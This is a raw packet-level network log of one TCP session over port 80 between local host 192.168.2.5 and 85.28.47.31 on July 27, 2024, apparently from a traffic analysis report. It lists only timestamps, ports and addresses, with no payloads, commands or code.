Jul 27, 2024 12:01:16.016661882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016695976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016725063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016777039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016788960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016819000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016849041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016901016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016916037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016952991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016977072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.017030001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.017044067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.017076969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.017103910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.017158031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.017169952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.017216921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100296021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100403070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100445032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100508928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100536108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100591898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100626945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100677967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100694895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100749016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100780010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100832939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100858927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100909948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100924969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.100971937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.100989103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101037979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101053953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101108074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101121902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101154089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101202011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101254940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101272106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101325989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101339102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101375103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101402044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101474047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101505041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101560116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101572990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101608038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101634026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101682901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101699114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101747036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101763010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101815939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101829052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101865053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101888895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.101938963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.101953983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102001905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102018118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102073908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102087975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102118015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102164984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102219105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102231979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102268934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102308035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102363110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102375984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102410078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102453947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102523088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102535963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102572918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102643967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102699041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102711916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102747917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102772951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102822065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102838039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102888107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102904081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.102953911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.102972984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103029966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103044033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103080988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103108883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103161097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103187084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103241920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103255987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103291035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103332996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103387117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103399992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103437901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103460073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103512049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103538036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103569984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103595972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103622913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103703022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103754044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103770018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103826046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103840113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103874922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.103900909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103959084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.103974104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104006052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104034901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104083061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104101896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104150057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104165077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104221106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104234934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104269981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104298115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104346037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104361057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104413986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104427099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104461908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104547024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104598999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104664087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104716063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.104729891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.104770899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.105153084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.105209112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.105221987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.105257034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106281042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106347084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106406927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106465101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106478930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106515884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106571913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106631041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106657982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106713057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106725931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106762886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106791019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106844902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106858015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106894970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.106923103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.106972933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107075930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107130051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107146025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107197046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107214928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107264042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107281923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107335091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107347965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107386112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107415915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107470989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107484102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107517958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107544899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107589006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107609034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107662916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107676983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107714891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107737064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107791901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107805014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107836962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107866049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107916117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.107930899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107984066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.107999086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108036995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108058929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108119965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108165979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108220100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108233929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108266115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108293056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108342886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108359098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108412027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108424902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108463049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108546019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108599901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108613968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108649015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108675957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108726025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108741045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108788967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108807087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108861923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108875036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108908892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.108937025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.108989954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109004021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109041929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109064102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109117031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109131098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109169006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109190941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109258890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109289885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109344959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109357119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109394073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109417915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109469891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109484911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109534025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.109553099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.109601021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.192989111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193080902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193106890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193140984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193193913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193240881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193262100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193316936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193342924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193389893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193408012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193454027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193514109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193562031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193583965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193635941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193660975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193715096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193728924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193763971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193789959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193834066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193875074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193922997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.193939924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.193988085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194006920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194052935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194072008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194125891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194152117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194205999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194217920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194247961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194278955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194319963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194339037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194391012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194405079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194436073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194464922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194518089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194530964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194567919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194632053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194684029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194696903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194732904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194760084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194811106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194837093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194889069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194915056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.194967031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.194993019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195044041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195060015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195112944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195138931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195192099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195204973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195235014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195261955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195310116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195343971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195395947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195410967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195456028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195475101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195522070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195538044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195594072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195606947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195636034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195699930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195755005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195770025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195800066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195830107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195883036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195895910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195949078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.195962906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.195993900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196022987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196068048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196088076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196132898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196207047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196254969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196269989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196327925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196342945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196373940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196420908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196475029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196516037 CEST	49704	80	192.168.2.5	85.28.47.31
